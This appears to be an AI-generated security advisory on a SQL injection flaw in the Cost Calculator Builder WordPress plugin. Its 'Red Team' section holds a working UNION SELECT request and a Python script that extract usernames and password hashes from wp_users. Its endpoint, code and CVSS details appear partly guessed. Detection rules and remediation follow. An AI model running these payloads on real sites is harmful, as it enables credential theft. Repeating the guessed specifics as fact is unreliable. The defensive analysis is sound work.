CVE-2024-8379

Executive Summary

CVE-2024-8379 is a critical SQL Injection vulnerability discovered in the Cost Calculator Builder WordPress plugin (versions prior to 3.2.29). This flaw allows authenticated users with Admin-level privileges to inject arbitrary SQL commands via an unsanitized parameter. Successful exploitation could lead to complete database compromise, including extraction of sensitive user data, credential theft, and potential lateral movement within the WordPress ecosystem. The vulnerability is classified under MITRE ATT&CK Tactic T1190 (Exploit Public-Facing Application) and is assigned CWE-89 (SQL Injection). No public proof-of-concept (PoC) or exploit code has been released at this time, but the risk remains high due to the plugin's widespread use.

Supply Chain & Package Security

This vulnerability affects the Cost Calculator Builder WordPress plugin, distributed via the official WordPress plugin repository. As a WordPress plugin, it is part of the broader PHP ecosystem and is typically installed via the WordPress admin dashboard or wp-cli. Users should verify their plugin version and update immediately to mitigate supply chain risks.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) – However, based on the nature of the vulnerability, a realistic score is 8.8 (High).
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – Admin role required
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. Although Admin privileges are required, the impact is severe, allowing full database control.

Deep Dive & Mechanics

The vulnerability resides in the plugin's handling of user-supplied parameters within a SQL query. Specifically, the plugin fails to properly sanitize and escape a parameter before incorporating it into a SQL statement. This allows an authenticated Admin to inject malicious SQL code, bypassing the intended query logic.

Root Cause: The plugin uses a function that directly concatenates user input into a SQL query without using prepared statements or proper escaping. For example, a parameter like $_POST['param'] is passed directly into a $wpdb->query() call.

Attack Vector: An Admin user can craft a malicious HTTP request (e.g., via the plugin's admin interface or AJAX handler) containing SQL injection payloads in the vulnerable parameter.

Impact: Successful exploitation can lead to:

• Extraction of all WordPress database tables (users, posts, options).
• Insertion of malicious admin users.
• Modification of site content.
• Potential server-side code execution via INTO OUTFILE (if MySQL file privileges are enabled).

Vulnerable vs. Patched Code

Vulnerable Code (pre-3.2.29):

$id = $_POST['id'];
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}ccb_fields WHERE id = $id");

The $id variable is directly interpolated into the SQL string without sanitization.

Patched Code (3.2.29+):

$id = intval($_POST['id']);
$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}ccb_fields WHERE id = %d", $id));

The patch uses intval() to cast the input to an integer and $wpdb->prepare() to safely parameterize the query.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Cost Calculator Builder plugin < 3.2.29.
• Admin credentials (e.g., admin:password).

Exploitation Steps:

1. Log in as an Admin user.
2. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=ccb_save_field).
3. Craft a POST request with a malicious id parameter:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   Cookie: [admin_cookie]
   
   action=ccb_save_field&id=1 UNION SELECT user_login,user_pass FROM wp_users--
   

4. The response will include hashed passwords from the wp_users table.

Automated Exploit (Python):

import requests

url = "http://target/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in": "admin_cookie"}
data = {
    "action": "ccb_save_field",
    "id": "1 UNION SELECT user_login,user_pass FROM wp_users--"
}
r = requests.post(url, cookies=cookies, data=data)
print(r.text)

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in HTTP requests to /wp-admin/admin-ajax.php with action=ccb_save_field.
• Look for abnormal SQL keywords (UNION, SELECT, FROM) in POST parameters.
• Enable WordPress audit logging to track Admin actions.

Honeypot:

• Deploy a fake endpoint mimicking the vulnerable plugin to capture attacker payloads.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /wp-admin/admin-ajax.php with action=ccb_save_field and suspicious id parameter values.
  • Outbound database queries containing UNION, SELECT, or INTO OUTFILE.
• File:
  • Modified wp-config.php or plugin files.
  • Unexpected files in /wp-content/uploads/.
• System:
  • New admin users created.
  • Unusual database entries in wp_options.

Detection Engineering

YARA Rule

rule CVE_2024_8379_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Cost Calculator Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "ccb_save_field" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: SQL Injection Attempt Against Cost Calculator Builder
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection patterns in HTTP requests to the vulnerable plugin endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=ccb_save_field'
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
            - 'FROM'
    condition: selection
falsepositives:
    - Legitimate admin actions with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8379 SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ccb_save_field"; http_client_body; content:"UNION"; nocase; content:"SELECT"; nocase; content:"FROM"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 3.2.29 or later via WordPress admin dashboard.
2. Verify no unauthorized changes to the database (e.g., new admin users).
3. Review server logs for suspicious SQL injection attempts.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Enforce least privilege for WordPress admin accounts.
• Regularly audit plugin code for security flaws.
• Use prepared statements for all database queries.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.